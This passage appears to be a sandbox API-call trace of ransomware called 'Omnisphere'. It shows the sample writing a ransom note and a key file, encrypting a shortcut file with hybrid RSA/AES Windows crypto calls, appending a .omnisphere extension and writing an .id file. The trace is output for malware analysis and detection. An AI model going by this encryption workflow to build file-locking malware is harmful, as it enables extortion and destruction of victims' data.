pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0119.263] GetProcessHeap () returned 0x1600000 [0119.263] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16b5c90 [0119.264] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.264] WriteFile (in: hFile=0x28c, lpBuffer=0x16b5c90*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16b5c90*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0119.264] CloseHandle (hObject=0x28c) returned 1 [0119.264] GetProcessHeap () returned 0x1600000 [0119.264] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16b2340 | out: hHeap=0x1600000) returned 1 [0119.264] GetProcessHeap () returned 0x1600000 [0119.265] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0119.265] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0119.265] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.265] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0119.265] CloseHandle (hObject=0x28c) returned 1 [0119.265] GetProcessHeap () returned 0x1600000 [0119.265] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0119.265] GetProcessHeap () returned 0x1600000 [0119.265] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167bb28 | out: hHeap=0x1600000) returned 1 [0119.265] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20fb9ea7, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20fb9ea7, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x20fb9ea7, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3e9, dwReserved0=0x0, dwReserved1=0xd3, cFileName="97fA0RJbCRegJ90g4.lnk", cAlternateFileName="97FA0R~1.LNK")) returned 1 [0119.265] GetProcessHeap () returned 0x1600000 [0119.266] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xac) returned 0x16a1560 [0119.266] PathCombineW (in: pszDest=0x16a1560, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="97fA0RJbCRegJ90g4.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\97fA0RJbCRegJ90g4.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\97fA0RJbCRegJ90g4.lnk" [0119.266] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0119.266] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\97fA0RJbCRegJ90g4.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\97fa0rjbcregj90g4.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.266] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1001) returned 1 [0119.266] GetTickCount () returned 0x115dcd0 [0119.266] GetTickCount () returned 0x115dcd0 [0119.266] GetTickCount () returned 0x115dcd0 [0119.266] GetTickCount () returned 0x115dcd0 [0119.266] GetTickCount () returned 0x115dcd0 [0119.266] GetTickCount () returned 0x115dcd0 [0119.266] GetTickCount () returned 0x115dcd0 [0119.266] GetTickCount () returned 0x115dcd0 [0119.266] GetTickCount () returned 0x115dcd0 [0119.266] GetTickCount () returned 0x115dcd0 [0119.266] GetTickCount () returned 0x115dcd0 [0119.266] GetTickCount () returned 0x115dcd0 [0119.267] GetTickCount () returned 0x115dcd0 [0119.267] GetTickCount () returned 0x115dcd0 [0119.267] GetTickCount () returned 0x115dcd0 [0119.267] GetTickCount () returned 0x115dcd0 [0119.267] GetTickCount () returned 0x115dcd0 [0119.267] GetTickCount () returned 0x115dcd0 [0119.267] GetTickCount () returned 0x115dcd0 [0119.267] GetTickCount () returned 0x115dcd0 [0119.267] GetTickCount () returned 0x115dcd0 [0119.267] GetTickCount () returned 0x115dcd0 [0119.267] GetTickCount () returned 0x115dcd0 [0119.267] GetTickCount () returned 0x115dcd0 [0119.267] GetTickCount () returned 0x115dcd0 [0119.267] GetTickCount () returned 0x115dcd0 [0119.267] GetTickCount () returned 0x115dcd0 [0119.267] GetTickCount () returned 0x115dcd0 [0119.267] GetTickCount () returned 0x115dcd0 [0119.267] GetTickCount () returned 0x115dcd0 [0119.267] GetTickCount () returned 0x115dcd0 [0119.267] GetTickCount () returned 0x115dcd0 [0119.267] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668c58) returned 1 [0119.268] CryptImportKey (in: hProv=0x1668c58, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0119.268] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0119.269] CryptDestroyKey (hKey=0x1639b28) returned 1 [0119.269] CryptReleaseContext (hProv=0x1668c58, dwFlags=0x0) returned 1 [0119.269] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e9, lpName=0x0) returned 0x288 [0119.269] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e9) returned 0x1480000 [0119.269] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668240) returned 1 [0119.270] CryptImportKey (in: hProv=0x1668240, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16396a8) returned 1 [0119.270] CryptSetKeyParam (hKey=0x16396a8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0119.270] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0119.270] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.270] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.270] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.270] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.270] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.270] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.271] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.271] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.271] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.271] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.271] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.271] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.271] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.271] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.271] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.271] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.271] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.271] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.271] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.271] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.271] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.271] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.271] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.271] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.271] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.271] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.272] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.272] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.272] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.272] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.272] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.272] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.272] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.272] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.272] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.272] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.272] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.272] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.272] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.272] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.272] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.272] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.272] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.272] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.272] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.272] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.272] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.273] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.273] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.273] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.273] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.273] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.273] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.273] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.273] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.273] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.273] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.273] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.273] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.273] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.273] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.273] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.273] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.273] CryptDestroyKey (hKey=0x16396a8) returned 1 [0119.273] CryptReleaseContext (hProv=0x1668240, dwFlags=0x0) returned 1 [0119.273] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3e9, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0119.273] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0119.274] GetProcessHeap () returned 0x1600000 [0119.274] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2bc) returned 0x16b2340 [0119.274] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\97fA0RJbCRegJ90g4.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\97fa0rjbcregj90g4.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\97fA0RJbCRegJ90g4.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\97fa0rjbcregj90g4.lnk.omnisphere")) returned 1 [0119.275] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\97fA0RJbCRegJ90g4.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\97fA0RJbCRegJ90g4.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\97fA0RJbCRegJ90g4.lnk.omnisphere.id" [0119.275] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\97fA0RJbCRegJ90g4.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\97fa0rjbcregj90g4.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0119.276] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0119.277] CloseHandle (hObject=0x3c0) returned 1 [0119.278] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0119.278] CloseHandle (hObject=0x288) returned 1 [0119.278] SetEndOfFile (hFile=0x28c) returned 1 [0119.278] FlushFileBuffers (hFile=0x28c) returned 1 [0119.287] CloseHandle (hObject=0x28c) returned 1 [0119.287] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\97fA0RJbCRegJ90g4.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0119.287] GetProcessHeap () returned 0x1600000 [0119.287] RtlAllocateHeap 